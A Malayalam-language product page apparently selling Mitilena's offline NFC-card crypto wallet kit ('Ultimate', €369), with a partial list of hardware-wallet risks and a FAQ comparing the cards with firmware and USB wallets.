06
ഇതിനകം എഴുതി വന്ന seedബോക്‌സിൽ, കത്തിൽ, «ആക്ടിവേഷൻ ആപ്പ്»-ൽ
07
വിൽപ്പനക്കാരന്റെ അക്കൗണ്ട്seed ചോദിക്കാവുന്ന സപ്പോർട്ടും
08
ഒറ്റ കോപ്പിയും തകരുന്ന ഭാഗങ്ങളുംസ്‌ക്രീൻ, ബാറ്ററി, കണക്ടർ, ഒരു കടലാസ് സ്ലിപ്പ്
ഈ ലിസ്റ്റിൽ Ultimate കിറ്റിന് എട്ട് വിശദാംശങ്ങളിലൊന്നുമില്ല. ബോക്‌സിൽ: 2 NFC കാർഡും 3 സ്റ്റെൽത്ത് സ്റ്റിക്കറും, Mitilena Air (ഇന്റർനെറ്റ് ഇല്ലാതെ കീകൾ) ഉം Mitilena Keys (ഇന്റർനെറ്റ് ഇല്ലാതെ ഒപ്പ്) ഉം. കാർഡുകൾ ശൂന്യമായി വരുന്നു: നിങ്ങൾ കീ സൃഷ്ടിച്ച് എൻക്രിപ്റ്റ് ചെയ്യുന്നു — ഫാക്ടറി ചിപ്പല്ല. ഉള്ളടക്കവും വിലയും →
Ultimate · ഓഫ്‌ലൈൻ കിറ്റ്

ഫാക്ടറി «സുരക്ഷിത ചിപ്പ്» അല്ല — നിങ്ങൾ എൻക്രിപ്റ്റ് ചെയ്യുന്ന മൂക കാരിയർ

കാർഡുകൾ ശൂന്യമായി വരുന്നു. ഇന്റർനെറ്റ് ഇല്ലാത്ത ഫോണിൽ Mitilena Air-ൽ കീ സൃഷ്ടിച്ച് നിങ്ങൾ തന്നെ എഴുതുന്നു. ഒപ്പിടൽ Mitilena Keys വഴി, അതും ഓഫ്‌ലൈൻ: ഇടപാട് QR വഴി യാത്ര ചെയ്യുന്നു. ബോക്‌സിൽ അഞ്ച് ഒരേ കോപ്പികൾ: 2 NFC കാർഡും വാട്ടർപ്രൂഫ് പ്ലാസ്റ്റിക്കിലെ 3 സ്റ്റെൽത്ത് സ്റ്റിക്കറും. 18 നെറ്റ്‌വർക്ക്, 20,000+ കോയിൻ, USDT ഉൾപ്പെടെ.

കമ്പ്യൂട്ടറിൽ ഒന്നും ഇൻസ്റ്റാൾ ആകുന്നില്ല
ഫേംവെയർ, അപ്‌ഡേറ്റ്, സ്‌ക്രീൻ അല്ലെങ്കിൽ ബാറ്ററി ഇല്ല
ഓഫ്‌ലൈൻ ഫോണിലേക്ക് ഇടപാട് — ശബ്ദം അല്ലെങ്കിൽ QR വഴി, കേബിൾ/USB ഇല്ല
സൗജന്യ Mitilena ഫോൺ ആപ്പുമായി പ്രവർത്തിക്കുന്നു
വാട്ടർപ്രൂഫ് പ്ലാസ്റ്റിക്, 10+ വർഷം ഷെൽഫ് ലൈഫ്
ലോകവ്യാപക ഷിപ്പിംഗ് · mitilena-store.com
Mitilena NFC card
Ultimate · ഓഫ്‌ലൈൻ ജനറേഷനും ഒപ്പും
€369€439
2 NFC കാർഡ് · 3 സ്റ്റെൽത്ത് സ്റ്റിക്കർ · Mitilena Air · Mitilena Keys ലൈസൻസ്
Ultimate വാങ്ങൂ · €369 Basic ഉം Premium ഉം — എല്ലാ പ്ലാനുകളും കാണൂ
FAQ

ഇത്രയും വായിച്ച ശേഷം ആളുകൾ ചോദിക്കുന്നത്

ഹാർഡ്‌വെയർ വാലറ്റ് ഗുണദോഷങ്ങൾ — ചുരുക്കം?

ഒരു വലിയ ഗുണം: കീ ഇന്റർനെറ്റുള്ള ഫോണിലില്ല. ദോഷങ്ങൾ മുകളിലെ എട്ട് വിശദാംശങ്ങൾ — ഓരോന്നും അറ്റാക്ക് സർഫേസ് ചേർക്കുന്നു. നല്ല ഹാർഡ്‌വെയർ വാലറ്റ് എന്നത് വിശദാംശങ്ങൾ കുറവുള്ളതാണ്, കൂടുതലുള്ളതല്ല.

ഫോൺ കോംപ്രമൈസ് ആയാൽ?

പ്രധാന ഫോണിലെ കാർഡിൽ കീ ഒപ്പിടുന്ന സെക്കൻഡിൽ ഐസൊലേറ്റഡ് എൻവയോൺമെന്റിൽ കാണപ്പെടുന്നു — ഏത് ഫോൺ വാലറ്റിന്റെയും അപകടം, ചെറുത് മാത്രം. ഭയപ്പെടുത്തുന്ന തുകയ്ക്ക് — രണ്ടാം പാളി: ഇടപാട് QR വഴി എത്തുന്ന പ്രത്യേക ഓഫ്‌ലൈൻ ഉപകരണത്തിൽ ഒപ്പ്.

കാർഡ് മോഷ്ടിക്കപ്പെട്ടാലോ നഷ്ടപ്പെട്ടാലോ?

പാസ്‌വേഡ് ഇല്ലാതെ കാർഡും സ്റ്റിക്കറും ഉപയോഗശൂന്യ പ്ലാസ്റ്റിക് — അവയിലെ കീ എൻക്രിപ്റ്റ്. നഷ്ടപ്പെട്ട കോപ്പി മറ്റ് നാല് മാറ്റിസ്ഥാപിക്കും: ബോക്‌സിലെ രണ്ട് കാർഡും മൂന്ന് സ്റ്റിക്കറും മിറർ.

ഹാർഡ്‌വെയർ-വാലറ്റ് ഫേംവെയർ അപ്‌ഡേറ്റ് ചെയ്യണോ?

നിർമ്മാതാവ് ദ്വാരം അടച്ചാൽ — അതെ, അതേ നിമിഷം ഫേംവെയർ മാറ്റിവയ്ക്കാം: ഉറവിടവും ഒപ്പും പരിശോധിക്കുക. ഫേംവെയർ ഇല്ലാത്ത കാരിയറിന് അത്തരം തിരഞ്ഞെടുപ്പില്ല — അപ്‌ഡേറ്റ് ചെയ്യാൻ ഒന്നുമില്ല, മാറ്റാൻ ഒന്നുമില്ല.

USB വാലറ്റിൽ നിന്ന് ഇത് എങ്ങനെ വ്യത്യസ്തം?

കുറവ് മധ്യവർത്തികൾ: കേബിൾ, ഡ്രൈവർ, ബാക്ക്ഗ്രൗണ്ട് സേവനം അല്ലെങ്കിൽ ഡെസ്‌ക്‌ടോപ്പ് പ്രോഗ്രാം ഇല്ല. ഒരു മധ്യവർത്തി — നിങ്ങളുടെ ഫോണിന്റെ NFC ചിപ്പ് — അത് നിങ്ങൾക്കും OS-നും മറുപടി നൽകുന്നു, വാലറ്റ് നിർമ്മാതാവിനല്ല.

ഓപ്പൺ സോഴ്‌സ് എന്നാൽ സുരക്ഷിതമാണോ?

ആരെങ്കിലും, എപ്പോഴെങ്കിലും പരിശോധിക്കാം എന്നർത്ഥം. നിങ്ങൾ കോഡല്ല, ഡൗൺലോഡ് ചെയ്തത് ഉപയോഗിക്കുന്നു, ഒന്നിനെ മറ്റൊന്നുമായി താരതമ്യം ചെയ്യാനാവില്ല. സുരക്ഷ വരുന്നത് പരായി കോഡ് എത്താത്ത സ്ഥലത്ത് കീ ഇരിക്കുന്ന വാസ്തുവിദ്യയിൽ നിന്നാണ്.

ഓഫ്‌ലൈൻ ജനറേഷനും ഒപ്പുമുള്ള NFC കാർഡുകൾ

5 കീ കോപ്പികൾ · Air · Keys · അല്ലെങ്കിൽ 30 സെക്കൻഡിൽ സൗജന്യ വാലറ്റ് · ചിപ്പിലെ «കോൾഡ്» ഹാർഡ്‌വെയർ വാലറ്റ് പലപ്പോഴും വ്യാജമായിരിക്കുന്നത് എന്തുകൊണ്ട് →
Ultimate വാങ്ങൂ · €369 സൗജന്യ വാലറ്റ് സൃഷ്ടിക്കൂ